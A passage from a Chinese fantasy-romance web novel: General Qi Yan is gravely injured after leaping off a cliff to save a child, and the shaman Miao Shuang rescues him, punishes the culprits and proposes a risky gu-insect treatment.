无论如何,死的不该是一个孩子! 下坠带来难以形容的失重感,呼啸的风刀子一般擦过他的脸颊,面具从脸上掉落,不知被吹去了哪里,他几乎难以睁开眼, 只拼命想去抓住前面的人,可那段距离顽固地横在眼前, 不论他怎样努力,都不肯缩短分毫。 该死的……明明就差一点! 为什么偏偏抓不到! 祁雁牙关紧咬,拼尽全力调动了内力——他的内力早在经脉损毁时散尽,可如果强行调动,或许也能榨出那么一丝,没有太多, 只够他发动一次千斤坠。 内力爆发让他骤然加速,终于在千钧一发之际捞到了向久,腰身一拧, 立刻改变了下落的姿势,单手将向久护在怀中,另一只手不顾一切地去抓山壁上生长的植物。 那些看似柔软的植物在这样的速度下也变得比刀子还锋利,叶片和枝条割开他的皮肉,又在拉拽下迅速断裂,血肉之躯擦过坚硬的岩石,在山壁上留下一道长长的血痕。 他尽一切可能减缓着下坠的速度,从这样的高度坠落就算是摔进水里也没有生还的可能,夜色之中,他隐约看到下方有一棵从岩壁间生长出的树木,若能用这棵树作为缓冲,应该够他们保住性命。 至于更多的再没办法强求,他紧紧护住向久,用脊背狠狠地撞了上去。 巨大的冲击力瞬间压垮了那段横生的树干,和树木折断声一并响起的还有他骨骼断裂的声音,五脏六腑都仿佛移了位,但下坠的速度却也因此大大减缓。 所有能用上的招数都已用尽,河面迅速朝他们接近,下一秒,两人直直摔进了水里。 冰冷的河水漫过口鼻,祁雁尽力屏住呼吸,还是不小心呛了一大口水,落水翻搅起的气泡和浪花模糊了视野,他只能凭借本能向上游去。 他挣扎着浮出了水面,将向久托在背上,向久早因为坠崖的惊恐昏死了过去,不过这样也好,他若是挣扎,反而会给他添乱。 祁雁托着向久向岸边游去,胸口窒闷得厉害,他想要吐出不慎呛进去的水,一张口,争先恐后冒出来的却是鲜红的血。 强行调动内力带来的反噬终于在这一刻爆发,早已不堪负荷的经脉彻底损毁殆尽,撕裂般的剧痛席卷全身,让他快要感觉不到四肢的存在,只执拗地不愿意就此昏厥,几乎是在凭意志力划着水,向岸边靠近。 河岸越来越近,视野却也越来越暗,他用最后的力气将向久推上岸,已经没有力气把自己也送上去。 周身的河水都被血染成粉色,他却不知道这些血是从哪里来的,他拼命想要抓住岸边的石头,手指却一点点从那上面滑落。 他死死地盯着近在咫尺的河岸,将血肉模糊的手指抠进湿润的泥土,抓住一切可能抓住的植物。 生死蛊……还在……身上…… 脖子上的青筋根根凸起,被河水刺激的双眼通红,大量的血沫不断从口鼻间冒出,顺着紧咬的齿缝滴落在河岸上,又被河水卷走。 不能……连累……苗霜…… * 难以形容的虚弱感席卷而来,苗霜身形一晃,险些摔倒。 离他最近的田款首急忙伸手扶住他,问道:“怎么了?” 苗霜低下头,难以置信地看向自己的手心,那道红色的细线正在褪色,昭示着与之相连的那一端,另一位蛊虫的寄体,生命力正在飞速流逝。 生死蛊……被触发了? 祁雁那边出了什么事,怎么会…… 正在这时,有苗民慌慌张张地闯进了他们议事用的小屋,焦急开口:“不好了!款首、长老、大巫!有汉人混进来了!” 苗霜猛地回头。 “汉人?”田款首立即起身,“哪里来的汉人,谁传的消息?” “不好了!不好了!”又一个苗民冲了进来,他似乎比先前那个还急,跑得上气不接下气,“圣子……圣子坠崖了!圣子坠崖了!!” 苗霜陡然一惊,他几乎在瞬间反应过来究竟发生了什么事,面色一凛:“在什么地方?前面带路!” * 赵戎他们原本在篝火附近看那些苗民跳舞,还收到了热情的苗族姑娘送来的酒,两人坐在一个不太起眼的地方,边喝酒边享受着这难得的惬意。 谁料才惬意了没一会儿,就听到远处传来一阵嘈杂,有不少人在往同一个方向跑,看起来十分愤怒,有人举着火把,有人抄着武器。 “……怎么回事?”赵戎急忙放下了酒杯,压低声音,“冲咱俩来的?” 那些苗民却看都没看他们一眼,径直从他们身边掠过,姜茂也抬起头来:“不像。” “那他们这是在干啥?难不成是将军那边……” 姜茂一把拉住他的手腕,把他拽到了树后,冲他比了个噤声的手势:“先静观其变。” 苗民们急匆匆地跑来跑去,似乎在搜寻什么,但紧接着,另一波更大的骚乱压过了他们。 两个人都听不懂苗语,看着那些人的表情从愤怒转为惊恐,却不知道发生了什么,只能躲在树后干着急。 这时,赵戎眼尖地发现了谁的身影,伸手一指:“大巫!” 苗霜步履匆匆,赵戎他们认识他也有不短的时间了,还是第一次看到他走得这么急,这位仿佛永远镇定自若的大巫不知遇到了什么事,脸上的表情几乎称得上紧张。 姜茂果断起身:“我们跟上。” 两人一路尾随他们来到山崖边,给苗霜指路的苗民伸手一指前方:“就是那里!圣子是从那里坠的崖!” 苗霜快步上前,向山崖下望去,却只见到不见底的深渊和流淌的河水,这座山太高了,现在又是晚上,崖底漆黑一片,什么也看不清楚。 该死的。 附近没有祁雁的踪迹,他能感觉到他的气息在这里停留过,他立刻和爬到肩头的白蛇共享了视野,发现祁雁最后消失的地方就在脚下。 果然跳下去了。 这个疯子,是不是不要命了! 一个武功尽失的废人也敢跳崖救人,是真当自己死不了吗?! 掌心的红线还在变淡,如果在红色彻底消失前他不救下祁雁,或者强行斩断生死蛊之间的连接,他就会和祁雁一起死。 苗霜心急如焚,却无计可施,这座山的高度已经超过了他能施蛊的极限,就算是现在下山,以最快的速度赶到山下也要至少一刻钟,那时候祁雁早死透了。 这群该死的……混账!不如都陪姓祁的一起去死好了! 苗霜已经处在暴怒的边缘,猩红眼眸像是燃烧的血,而在离他不远的地方,姜茂终于听懂了那些苗民在说什么:“……圣子?” 一头雾水的赵戎已经急得满头大汗:“什么?什么圣子?” “他们好像在说‘圣子’,”姜茂道,“别的我听不太懂,不过圣子去哪儿了?还有,鸣川兄呢?” 两人四下环顾,没发现祁雁和向久,赵戎望着站在山崖边的苗霜,终于明白了什么,只感觉晴天霹雳:“鸣川兄……跳下去了?” 姜茂也是心头剧震:“你说……跳崖?” “糟了,”赵戎一下子慌了神,“这么高的山,他武功又没了……不行,我得去救他,我得去救他!” 他说着就来到山崖边,探身往下看了看,漆黑的断崖深不见底,他深呼吸,一跃而下。 姜茂低声:“喂!” 试图阻拦却无果,过了许久,崖底才传来“嗵”的入水声。 “有人跳下去了!又有人跳下去了!” 苗民们惊恐大喊,苗霜回过头,一眼就看到人群后方的姜茂。 不用想也知道刚刚跳下去的一定是赵戎,祁雁带出来的兵还真是和他本人一样,脑子里没“怕”这个字。 苗霜沉着脸色上前,把一瓶药扔给姜茂:“小心些,别把自己摔死了。” 姜茂点头,寻了小路准备下山。 他功夫虽不比赵戎差,但毕竟少了条胳膊,这山崖如此陡峭,健全人尚且难以保全自身,他万万不可再给他们添乱。 * 赵戎施展轻功在山壁间几个腾挪,又把刀插进山石减缓下落速度,总算是有惊无险地到了崖底。 借着月色,他迅速找到了已被河水卷走的祁雁,不假思索跳河救人。 好在河水并不算急,祁雁没被冲走多远,赵戎奋力把人捞了上来,将他放在岸边。 祁雁已经失去了意识,赵戎以为他溺水了,便在他胸前按压,可和水一并吐出来的,还有大量的血。 赵戎被吓坏了,不敢再动他,他手足无措,急得快要哭出来:“鸣川兄……将军!醒醒……求你醒醒!” 祁雁早已无力应答,赵戎绝望大喊:“来人啊……快来人啊!” 他的嘶吼在寂静的山谷间回荡,乘着涛涛江水,流向远方。 忽然,不远处传来一道微弱的声音:“这里……帮我……” “谁在那?”赵戎赶紧抹了一把脸上的泪,向着声音来源处望去,看到那里有一团小小的身影,“圣子?” 他急忙起身上前,把向久从地上拽了起来。 向久也呛了些水,刚刚才醒过来,他挣扎着来到祁雁身边,给他做了急救。 赵戎紧张得牙齿都在打颤,焦急询问:“怎么样了?” “我、我尽力了……”向久把手按在祁雁脉搏上,那脉搏似有似无,微弱至极,以他这点浅薄的医术,已是无计可施了。 “等阿那来,”他嗓音颤抖着说,“阿那……阿那一定有办法救他!” 第80章 第 80 章 您若不救他,就没人能救…… 虽然这句话好像是走投无路下的自我安慰, 可现在他们除了将希望寄托在苗霜身上,已别无他法。 赵戎在心里祈祷着大巫快点来,将军在大牢里受了那么重的伤都能被他治好, 那现在一定也可以。 向久闷闷地咳嗽了两声,赵戎赶紧把他护进怀里, 两人身上的衣服都是湿的,被夜风一吹, 透骨的凉。 他尝试用内力蒸干湿透的衣服,刚烤了没一会儿,就听到身后传来什么动静,不禁心中一喜,猛地转身:“大巫……怎么是你?” 姜茂抄了小路下到崖底,山势实在陡峭,他好几次都差点崴了脚。 他擦亮身上的火折子,问道:“找到将军了吗?” “找到了,但他……”赵戎不敢再说下去, “大巫呢?大巫怎么没来?” “他又不会武功,他给了我药, 我先下来了,”姜茂拿出苗霜给的药瓶,“把这个给将军服下。” 赵戎眼睛一亮:“好,我来!” 他赶紧倒出瓶子里的药丸,塞进祁雁嘴里,祁雁脸上已经没一点血色, 看起来和死人没什么区别。 向久一眼就认出了那药丸:“啊,这是护心丹!有了这个,他应该暂时不会死了!” “真的?”赵戎精神为之一振, “这药能维持多久?” “大概……一个时辰。” 一个时辰,那应该足够等到苗霜过来了。 赵戎脱力般跌坐在地,紧绷的精神稍一松懈下来,只感觉整个人都要昏厥。 向久张了张嘴,还是没忍心再说下去,护心丹虽然能保护心脉,在一段时间内维持心脏跳动,但祁雁体内的伤势恐怕比体表还要严重,口鼻中全是血沫,说明内脏已经严重出血了,如果不尽快止住,护心丹也救不了他。 他今天来参加祭祀,什么治病用的东西都没带,现在只能干着急。 向久闭上眼睛,在心中默默向神灵祈祷。 阿那……一定要快点来啊。 * “你们还在愣着干什么?还不快下去救人?!” 听到苗霜的呵斥,惊慌失措的苗民们才如梦方醒,在田款首的组织下下山搜救。 苗霜环视着一张张或熟悉或陌生的面孔,语气冷得像要结冰:“是谁把圣子推下去的?” 人们你看看我,我看看你,皆是噤若寒蝉,大气也不敢出。 “不说是吧?”苗霜怒极了,反而笑起来,“既然不说,那我就治你们所有人保护圣子不利之罪,把你们绑上石头扔进河里,以平息神怒。” 此言一出,人们登时吓得跪了下来:“大巫息怒,大巫息怒啊!” 苗霜笑意吟吟:“息怒?我息怒有用吗?你们害的是圣子,发怒的是神灵,你们该去求神,而不是求我。” “大巫怎么就确定圣子是被人推下去的!”神怒当头,终于有人忍不住开口了,“他明明……明明是自己失足跌下山崖,就算神灵要怪罪,也怪罪不到我们头上啊!” “撒谎!”苗霜陡然抬高音量,压抑已久的怒火再也无法克制,他一步步走到那人面前,居高临下地看着他道,“敢对神灵撒谎,你们真是能耐了,敢在祭神日当天设计戕害圣子,你们真是好大的胆子,真以为我不敢杀你?!” 一道惊雷平地乍响,刺眼的闪电撕裂天穹,惨白的雷光映亮他的面容,血色的眼珠从没有任何一刻比现在更加阴森可怖。 原本晴朗的夜空被乌云遮蔽,仿佛神怒真的降临,这异变的天象让原本没跪的苗民也齐刷刷跪了下来,在笼罩山巅的阴云中瑟瑟发抖。 “我、我看见了!”远处有人颤巍巍地直起身来,壮着胆子指向刚刚和苗霜对话的人,“就是他,就是他把圣子扔下山崖的!” “哦?”苗霜的视线落回近前,“死不认错,罪加一等,我担任大巫至今,还没处理过罪名比你更重的犯人,我会好好考虑考虑,该如何处置你。” 惊恐慢慢爬上那人的脸,冷汗争先恐后地冒了出来,他终是顶不住这恐怖的压迫感:“不……不是我!他污蔑我,我是被冤枉……啊啊啊啊啊啊啊!!” 没说完的话被一阵惨叫取代,他浑身痉挛,痛苦地在地上打起滚来:“不要杀我!我认罪,我认罪啊啊啊!是他们让我这么做的!呃啊啊啊——” 苗霜却充耳不闻,他现在没心情审讯犯人,对身边的人道:“把这些人都给我抓起来带回去,一个也不准放走。” “可、可是大巫,他们很多都不是我们寨里的……” “那又如何?”苗霜冷冷道,“圣子只有一个,款首也只有一位,既然在款首投票时各寨都没有异议,那就该认可款首的管理,今日若有一人敢逃跑被我发现,他属于哪个寨子,哪个寨子的寨民集体连坐,若有包庇,与谋害圣子者同罪。” 苗民们大惊失色:“这,这……” “大巫说的没错,”田款首回到了现场,她已是天命之年,鬓边有了几缕白发,气质却不减分毫,“圣子被害,事关重大,希望各位配合,否则,休怪我翻脸无情。” 所有事情发生时在附近的苗民都被押了下去,田款首走到苗霜身边:“我已经让他们搭好了绳索,可以下山了。” 苗霜点点头。 他不像赵戎他们那样有武艺傍身,顺着绳索滑到山底无疑是最快的路线。 “今晚多谢款首帮忙控制场面。”他道。 田款首摇了摇头,压低声音:“还请大巫一定保他们性命无虞。” 他们…… 时间紧迫,现在不是细聊的时候,苗霜顾不得去问这个“他们”是指谁,只道:“我尽力。” * 绳索自山巅垂下,前来搜救的苗民顺着绳子一路下到崖底,都说上山容易下山难,这座山更是如此,山壁陡峭又是晚上,即便用上绳子,也花了足足两刻钟。 姜茂听到身后传来的动静,立刻把面具重新扣到脸上,对赵戎道:“快戴好。” 赵戎也赶紧戴好了面具,又去找祁雁的,打着火折子四下摸寻一圈,却没找到,压着嗓子问:“糟了……将军的面具呢?” 苗民已经靠近了,姜茂果断摘下自己的面具扣在了祁雁脸上,而后身形一闪,躲进暗处。 苗民们点燃火把,很快便找到了他们,看到向久安然无恙,不禁欣喜若狂:“太好了!圣子没事!” “我就说圣子有神灵庇佑,肯定不会有事的!” “圣子没事,圣子没事!” 苗民们欢呼雀跃,围着向久嘘寒问暖,竟没一个人发现地上还躺着一个。 赵戎看着他们,虽然他听不懂苗语,却能感受到他们的情绪,只觉这一幕讽刺至极,他的手死死按在了刀上,恨不得一刀一个把这些家伙全捅死。 向久看着他们如此高兴,自己却笑不出来,他有些厌烦地推开了他们,向他们身后望去:“阿那呢?” “大巫?大巫应该还在上面吧,他让我们下来救人。” “让你们来有什么用!”向久有些生气了,“你们是会治病还是会治伤?快点叫阿那下来,快点啊!” 苗民们不明所以:“治伤?谁受伤了?圣子您不是安然无恙吗?” “不对……刚刚好像还有人跳下来了,那个人呢?是不是他受了伤?” 赵戎站在原地,神色悲戚地看着他们。 很快有人发现了他,苗民们立刻凑上前来,询问道:“你还好吧?可有受伤?是不是你救下了圣子?” 赵戎痛苦地闭上眼睛。 这时,才终于有人看到了躺在地上的祁雁,惊讶道:“那里还有一个!” “怎么会还有一个?那人是谁?” 在场的苗民全都不知道事发时的经过,除了那些已经被扣押的人,为数不多的几个看到祁雁跳下来的却都不在这里。 “神灵,”向久第一次对他们感到了失望,“你们口中庇佑我‘安然无恙’的神灵。” 四野突然陷入一片寂静。 有人走上前去,想要给祁雁检查伤势,向久却突然尖叫出声:“别动他!” 那人吓了一跳,急忙退开,向久站在祁雁身前,张开双臂:“都走开!你们什么都不懂,让阿那过来!” 苗民面面相觑,一时不知该怎么办,僵持不下之中,一个熟悉的声音终于姗姗来迟:“圣子。” 一听见苗霜的声音,向久再也忍不住满腹的委屈和焦急,他冲到苗霜跟前,拉住他的胳膊,把他往祁雁的方向拽,泪水夺眶而出:“阿那!你快救他,快救他!” “我知道了,圣子,别急。”苗霜温声安抚着他,蹲下身来,将手指搭在祁雁脉间。 所有人都将期望的眼神投在他身上,他摸了一会儿脉,神色渐渐凝重。 比他预料的还要糟糕。 向久抹了把眼泪,问道:“怎么样了,阿那?” 苗霜却什么都没说,只吩咐身边的人:“去找条船过来,再想办法做个担架,把他运回寨子。” 苗民们立刻行动起来,苗霜瞥了一眼隐在暗处的姜茂,放出一只蓝色蛊蝶,对他和赵戎道:“你们两个,负责抬人。” 很快,赵戎他们把昏迷不醒的祁雁抬上用竹子和绳索搭起来的简易担架,尽管他们已经很小心了,可这么一挪动,祁雁口鼻中又有血冒了出来。 几人乘着渔船渡河回到寨中,把人抬回了苗霜的住处,苗霜留下了向久当帮手,将其他人全部赶出了房间。 赵戎失魂落魄地坐在院子里,一脸麻木地帮忙劈柴烧水,姜茂抱着刀靠在墙边,两人相顾无言,明秋进进出出送水倒水,一晚上都没停过。 直到两个时辰以后,东方吐白,苗霜终于从屋里出来了。 赵戎猛地上前:“将军怎么样了?” 苗霜头痛地按了按太阳穴,手上还有没擦干净的血,他白天忙了一天的祭祀,晚上又聚精会神救了一宿的人,片刻都没休息,现在只感觉脑仁突突直跳,想杀几个人泄愤。 他深吸一口气,强迫自己冷静:“肋骨断了几根,扎进肺叶了,内脏多处破裂出血,擦伤挫伤无数……我已经处理好了,这些都不重要。” 三言两句间,赵戎的心情已经起伏了三次,他瞪大双眼:“这些还不重要?” “当然,和他碎成渣的经脉比起来,根本不值一提,”苗霜没好气道,“他经脉上的伤势要是再不治,恐怕是没几个月好活了,也许今天会死,也许明天会死,最好的情况么,就是半死不活地苟个那么几年,但想再和正常人一样生活,是不可能了。” 赵戎紧张得直咽唾沫:“那、那要怎么办?经脉断了,能不能接好?有没有什么我们能帮上忙的?” “接不好。” “……接不好是什么意思?” “字面意思,”苗霜揉着额角,“假设你的骨头断了,我轻轻松松就能帮你接好,你的骨头不光断了还碎成了几片,我费点力气也能帮你接好,但你的骨头已经磨成了粉,嚼一嚼咽下去都不剌嗓子,你还想我怎么给你接好?” 赵戎:“……” “唯一的办法,是进行一次经脉重塑,不过这样做太危险,我也没有试过,理论上说,运气好的话,不光能让伤势痊愈,甚至能重新习武。” 赵戎又看到了希望:“那……还请大巫出手!” “你懂什么,”苗霜冷漠道,“我说的是理论上,实际操作起来,即便是我也没有把握,不然的话,我早就给他治了,还会拖到今天?” 他说着转身就要走,赵戎急忙道:“若是连您都不愿意救他,那世上就没人能救他了!” 苗霜停下脚步。 “求您了,大巫,夫人!” 沉默良久,苗霜才重新开口:“这件事没人能替他做出决定,你不行,我也不行——等他醒了,我会问他。” 80-90 第81章 第 81 章 我就当夫人是在心疼我了…… 生死蛊……还没…… 祁雁猛地惊醒过来。 他睁开眼睛, 偏过头,首先映入眼帘的就是坐在桌边磨药的苗霜。 “……” 还好。 看来他还活着。 他松了口气,狂跳不止的心脏慢慢平复下来, 难以形容的虚弱感就涌上四肢百骸,让他几乎再次昏厥过去。 “醒了?” 苗霜的声音突然传入耳中, 又堪堪拉回了他行将涣散的意识,祁雁强撑着精神没让自己再睡过去, 从喉咙里滚出一声虚弱又嘶哑的“嗯”。 苗霜没有抬头,把药材扔进药碾,继续磨药,不咸不淡地问:“跳崖的感觉怎么样?” 老实说,不太好。 但祁雁并没什么力气回答。 “是以为自己也是话本里的主角,身负主角光环,有跳崖不死定律,还能在崖下捡到绝世秘籍?”苗霜阴阳怪气道。 祁雁:“……” 这都什么乱七八糟的。 “圣子呢?”他问。 “托你的福,他没事, 除了呛了两口水,没伤到一根头发。” 祁雁彻底放心了:“那就好。” “好?”苗霜冷冷地瞥他一眼, 皮笑肉不笑道,“将军对‘好’的要求还真是低啊。” 不知道为什么,祁雁总觉得某人今天攻击性格外强,没敢去接他的话,又问:“我睡了多久?” “已经十四个时辰了。” 虽然还是很累,却不该继续睡下去了, 祁雁挣扎着坐起身来,结果这一用力,身体各处都传来撕裂般的剧痛, 撑在床上的左手疼得缩了回来,十指连心的痛楚让他的手一阵痉挛,从手指到小臂被绷带缠了个严严实实,隐隐还有血迹渗出。 苗霜:“手不想要可以直说,我帮你剁了,我的虫子最喜欢新鲜的血肉,犯不着去喂山壁上的植物,多浪费。” 祁雁:“……” 夫人好像很生气啊。 他抿了抿唇,底气不是很足地说:“我好不容易救下圣子,夫人不但不感谢我,还劈头盖脸就是一顿骂。” “感谢?”苗霜扔下碾轮,一扯嘴角,“我是得感谢你,感谢祁将军菩萨心肠,将生死置之度外,宁可自己身负重伤命悬一线,也不让一个异族小孩、敌人之子伤半根毫毛,你简直是位英雄,我苗族先祖都得礼让你三分,要不我去跟款首商量商量,让你成为我族供奉的第十七堂神灵,你看如何?” 祁雁:“。” 攻击性更强了。 他沉默片刻:“我就当夫人是在心疼我了。” “……哈,”苗霜冷笑,“三十岁的人了,行事还这么鲁莽,你勇冠三军就靠这一身虎胆?真不知道你打的那些胜仗都是怎么来的,靠头铁吗?” “二十九,”祁雁纠正,“夫人嫌我行事莽撞,那不妨教教我,我除了跳崖救人,还有什么办法能保下圣子?” 苗霜张了张嘴,又闭上。 “夫人明明也没更好的办法,就别再数落我了吧,”祁雁半是商量半是乞求地说,“何况我也有努力保全自身,我这不是还没死吗。” “你确实没死,但也不能算还活着。” 话音才落,祁雁就是一阵激烈的咳嗽,他刚刚醒来时就感觉胸口又闷又疼,忍了许久,终于是忍不住了。 这一咳直牵连全身,撕裂般的疼痛在每一条损毁的经脉中串行,疼得他弓起身子,视野都有点模糊了。 “我说什么来着,”苗霜又事不关己地碾起了药,“你还能醒过来真是个奇迹,不妨你自己数数,身上还有几根骨头没断过,还有几块肉没伤过?你是对受伤上瘾,还是特别享受我给你治疗的过程?” 祁雁根本没力气回他,甚至没怎么听清他说的话,他耳边都是自己的咳嗽声,还有尖锐的耳鸣。 屋外响起谁的叫嚷:“绝对是将军的声音,我不会听错!” 苗霜扭头瞄了一眼,就见赵戎大步往这边走来,姜茂追在他身后:“大巫说了将军没那么快醒过来,而且离那么远……” 他的声音戛然而止,两人冲进吊脚楼,正看见坐在床边咳嗽不止的祁雁,祁雁用手捂住了嘴,鲜血顺着指缝流出,滴落在地板上。 “将军!”赵戎大惊,“夫人你快管管将军啊!他又吐血了!” 苗霜的表情没一丝变化:“那不是很正常吗?瘀血而已,吐出来好得更快。” 祁雁本来就咳得昏天黑地,再被他们一吵,更是感觉脑袋都要炸了,好不容易止住咳,他精疲力尽地抬起头来,额头全是冷汗,脸色白得吓人。 赵戎见他这般,几乎哽咽:“将军……” 祁雁接过苗霜递来的手帕,擦了擦手上的血,对赵戎道:“先出去。” “……是。” 苗霜目送他们离开,视线却迟迟没从门外收回,他等了许久,外面也没再有新的动静,不禁叹口气道:“进来。” 祁雁有些诧异地看向他,心说他才刚让他们走,怎么又喊他们进来,直到一个小小的身影从门外探头。 向久犹豫着不肯往前走,声如蚊蚋:“阿那……” 祁雁微怔。 他居然没发现圣子在外面。 这身体还真是快不行了啊,感知力越来越差了。 “来都来了,又躲着做什么?进来。” 苗霜第二次让他进来,向久也只好不再躲避,他低着头走进房间,甚至不敢去看祁雁,垂眼抠弄自己的手指:“祁将军,你……你还好吗?” 祁雁抬脚踩住了地板上的几滴血迹,将手帕攥进掌心,虚弱地冲他笑了笑:“我没事。” “还说自己没事……”向久眼圈有点红,声音也在发抖,“为什么要救我?我是圣子,有神灵庇佑,轻易不会死的!反倒是你……来的时候就一身伤,阿那好不容易把你治得像正常人一样了,你这样乱来,不都前功尽弃了!” 祁雁看着他,忍不住笑。 真是谁带出来的小孩就像谁,这副关心又不愿意承认的样子,简直和苗霜如出一辙。 “你还笑!”向久仰起头,“你知不知道自己差点死了!” “嗯,我知道,”祁雁用缠满绷带的左手按住他肩头,“可我不信神灵啊,圣子,若事事都靠神灵,人就会止步不前,你去普州治疫,靠的也不是对着神灵祈祷,对吗?所以,我也没办法等着神灵来救你,而且现在你没事,我也没事,这不是最好的结局吗?” “你……”向久说不过他,转头去求助苗霜,“阿那!你到底有没有告诉他他快死了啊!” “这还用我说?他自己比谁都清楚。”苗霜凉凉道。 “那他还……” “他们这种在沙场上厮杀多年的人,哪个不是把脑袋别在裤腰带上?小屁孩懂什么。” “……” 祁雁有些无奈:“快死了,不是还没死吗,苗疆大巫神通广大,想必有办法救我。” “别抬举我,我救不了你。” “阿那……”向久晃了晃他的胳膊,“你不是说你有办法吗?” 苗霜不耐烦地啧了一声,对他的拆台感到不满:“小孩子能不能别添乱?出去。” “哦……”向久依依不舍,又叮嘱,“阿那一定要跟他说清楚哦,一定。” “快滚。” 向久这才离开,走到门口,又回过头,对祁雁道:“谢谢你救我,祁将军。” 说完,忙不迭地跑了。 房间里便又剩下祁雁和苗霜两个人,一时间谁都没再说话,气氛陷入诡异的寂静。 终于是祁雁先开了口:“夫人……真的不打算说吗?” 苗霜皱着眉头,语气十分不悦:“我之前就警告过你,你的经脉已经不堪重负,再有任何损伤,华佗再世也救不了你,结果你根本没把我说的话放在心上,直接给我来了个大的,现在好了,身体彻底废了,你高兴了?” “……当时事出紧急,我也来不及想那么多,”祁雁叹气,“若是不治,我还能活几年?” “几年?你也太看得起自己了,”苗霜冷笑,“也许你再咳嗽两声就会死,也许被冷风打一下就会死,也许下个楼摔了就再也爬不起来——哦,你可以今晚再跟我做,我保证明早起来你已经凉得透透的。” “……夫人这话也太伤人了,”祁雁无奈,“那若是治呢?” “请别管那叫治伤,那叫换个更痛苦的方法让你去死,我可以用蛊虫把你全身经脉重塑一遍,但我提前警告你,这种方法仅存在于理论当中,我没在任何人,甚至任何动物身上尝试过,你是第一个。” 苗霜边说边观察他的反应:“如果你足够幸运,能熬过去的话,此生都不必再为受伤而发愁了,包括你体内那些陈年旧伤,会一并痊愈,自愈能力都会变得和我一样——但我不认为你有这个运气。” 如果是泊雁仙尊倒也罢了,但某人已经弃剑用枪了。 祁雁听完,却没有太大反应,既没有失望,也没显出惊喜。 反倒是苗霜有点疑惑了:“你怎么好像一点都不意外的样子?” “夫人不是早就想这么做了吗,我有什么好意外的。” “什么?” 祁雁抬起头来:“这段时间,夫人让圣子给我下毒,不都是在为了那天做准备?” “……你怎么知道?” “都说久病成医,我也被夫人治了这么久,基本的毒理药理还是懂的,我又不是傻子。”祁雁道,“且不谈我有没有那个运气,夫人只说有几成把握?” “没把握。” “没把握是几成把握?” “没把握,就是一成也没有。” “……”祁雁被噎了一下,“那也无妨,不破何来立,既然夫人愿意帮我,那无论如何,我都信夫人。” 第82章 第 82 章 夫人下辈子可还愿做我的…… “你根本不懂, ”苗霜看着他道,“你以为这件事很容易?用蛊虫为你重塑经脉,大量的蛊虫入侵身体, 首先就会遭到身体的剧烈排斥,你的五脏六腑会因为承受不住这样的负担而衰竭, 为了不让你在第一步就死掉,我只能先让你的身体罢工, 但那样一来,你会变得非常虚弱,仅仅是风寒都会要了你的性命。” “假如你顺利熬过去了,才能进行下一步,重建损毁的经脉,和在你身体里开山凿窟没有区别,还有你受损的腑脏、骨骼,需要一并修复,我自己都不知道这需要多久, 可能几天,可能一个月, 这当中的任何一天出现问题,你都必死无疑。” “可我已经别无选择了,不是吗?”祁雁脸上的表情依然平静,“既然我已经快死了,那不妨殊死一搏,孤注一掷还有一线生机, 若真的坐在这里等死,就真的一点机会都没有了。” 苗霜:“……” 祁雁强撑着站起身来,身体沉得像是负着几百斤的石头:“我并不怕死, 只怕死不得其所,宁可马革裹尸,也不该坐在轮椅上苟延残喘。” 苗霜闭上眼睛。 他就知道祁雁会这么说,所以当初鸣川师兄才会毫不犹豫地选择为苍生赴死,虽然被他抢了先。 论道心坚定这一点,没人能比得过祁雁。 纵然苗霜恨师尊将他当作弃子,可他又不得不承认,师尊的眼光的确很准。 “若是我没能活下来,也只能怪我命数该绝,我毫无怨言,”祁雁又道,“只有一事割舍不下。” 苗霜抬眼看向他:“何事?” “我若死了,夫人下辈子可还愿继续做我的夫人?” “……” 深黑的眼眸定定望着他,那神色出奇认真,有些期待,又似不舍。 这种话能从祁将军嘴里说出来,也真是时过境迁,初见时那眼神恨不得将他抽筋扒皮啖肉饮血,现在却想跟他来生再续前缘。 苗霜冷淡道:“不愿。” 祁雁:“?” “我们苗人只讲一生一世,没有什么转世轮回,人生而有灵,死后灵魂离开肉|体,若顺利得到引渡,便回归宗祠,常伴家人左右,庇佑亲朋福泽延绵,否则成孤魂野鬼,流落异处。德高望重者可飞升成神,欺良作恶者堕落成鬼,不论哪一种,都不存在什么来生,你还是死了这条心吧。” 祁雁无奈叹气:“只是安慰我一下都不行吗?” “安慰?”苗霜冷笑,“安慰最是无用之物。” “……你却也没少安慰圣子。” “圣子是小孩,难道你也是?更何况将军心意已决,何需安慰?” 苗霜说着凑近了对方,伸手抓住他的前襟,猩红眼眸灼然似血:“你我只有一生一世,祁雁,你若不想失去我,那就给我好好活着,否则,生生世世再不相见。” 别开玩笑了,他早该在泊雁仙尊剑下神魂俱灭,不知是什么让他活到现在,能在这方世界里拥有一生一世已实属不易,居然还妄想什么来生? 姓祁的要是死了,那他也不必再留下,他对祁雁以外的任何人都没兴趣,也早就厌倦了去管什么天下苍生,苍生何苦,但又与他苗霜何干? 他已为苍生赔上所有,他不欠任何人的,祁雁爱修他的苍生道就去修,别把他也牵扯进来,他要是敢自己死了把这一堆烂摊子扔给他,那他定要掘了祁雁的坟,让他死都死不安生。 苗霜没由来有些火大,他不知道自己为什么而生气,或许是被抛弃的滋味已经深深刻在了骨子里,他已经不能接受来自任何人的背弃,尤其是祁雁。 攥着祁雁衣襟的手又被缓缓握住,生着薄茧的指腹触感是如此熟悉,仿佛每一个缠绵的夜晚在他身体里开拓的那般,只可惜那指尖已不再温热,只余掌心还留着一抹暖意。 “我知道了,夫人,”祁雁道,“我尽量活着。” “只是尽量?” “夫人若告诉我有五成把握,那我就把尽量改成一定。” 苗霜挣开他的手:“一成不能更多了。” 心中的怒火慢慢平息,他不等对方再说什么:“好了,我需要几天时间准备药材和蛊虫,你也趁这时间休养几天,身体好些了再开始,虽然不能保证什么,但至少能排除一些干扰,记得,保持情绪稳定,不可做过于激烈的动作。” “我知道了。” 祁雁的确已经疲惫不堪了,浑身上下哪哪都是疼的,他稍微吃了点东西便重新躺下来休息,几乎是一沾枕头就睡着了。 苗霜开始着手准备治疗所需的东西,事发突然,他手上的蛊虫根本不够,如此庞大的数量,就算用他的血催生也需要好几天。 明秋帮忙照看着祁雁,赵戎他们那边苗霜也告知了实情,两个部下显得忧心忡忡,却也没说什么。 毕竟是赵戎先来求苗霜救人的,现在苗霜拿出了法子,祁雁也答应了,至于成败,只能说听天由命。 祁雁需要静养,一向大嗓门的赵戎也收了声,好不容易热闹起来的小院又变得一片寂静。 这日,向久守在虫罐边帮苗霜检验蛊虫,苗霜对于这批的蛊虫的要求格外高,一点瑕疵都不允许存在,蛊虫又极其细小,从一大堆小红点里辨认可能存在的小白点,他看得眼睛都要花了。 正在这时,苗霜突然从屋里出来。 